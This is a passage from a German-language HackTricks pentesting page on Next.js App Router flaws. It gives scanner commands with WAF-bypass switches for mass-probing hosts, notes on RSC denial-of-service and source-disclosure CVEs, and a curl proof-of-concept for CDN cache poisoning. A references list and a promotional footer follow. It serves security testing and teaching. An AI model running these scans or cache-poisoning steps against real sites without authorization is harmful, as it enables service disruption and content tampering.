• Eingebaute Schalter --waf-bypass, --vercel-waf-bypass, und --windows passen das Payload-Layout an, prependen Junk oder tauschen OS-Commands aus, sodass du reale Internet-Assets probeen kannst.

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Weitere aktuelle App Router issues (Ende 2025)

1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – fehlerhafte Flight payloads können den RSC-Resolver in eine Endlosschleife treiben (pre-auth DoS) oder die Serialisierung von kompiliertem Server Function-Code für andere Aktionen erzwingen. App Router-Builds ≥13.3 sind bis zum Patch betroffen; 15.0.x–16.0.x benötigen die spezifischen Patch-Zeilen aus dem Upstream-Advisory. Wiederverwende den normalen Server Action-Pfad, sende aber einen text/x-component-Body mit missbräuchlichen $-Verweisen. Hinter einem CDN bleibt die hängende Verbindung durch Cache-Timeouts offen, wodurch der DoS kostengünstig wird.

• Triage tip: Ungepatchte Ziele antworten mit 500 und E{"digest" nach fehlerhaften Flight payloads; gepatchte Builds antworten mit 400/200. Teste jeden Endpoint, der bereits Flight-Chunks streamt (suche nach Next-Action-Headern oder text/x-component-Antworten) und wiederhole mit einem modifizierten Payload.

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – ein fehlender Vary-Header ließ eine Accept: text/x-component-Antwort cachen und an Browser ausliefern, die HTML erwarteten. Eine einzige Priming-Anfrage kann die Seite durch rohe RSC-Payloads ersetzen. PoC flow:

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Wenn die zweite Antwort JSON-Flight-Daten statt HTML zurückgibt, ist die Route für Cache poisoning angreifbar. Cache nach dem Test leeren.

References

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.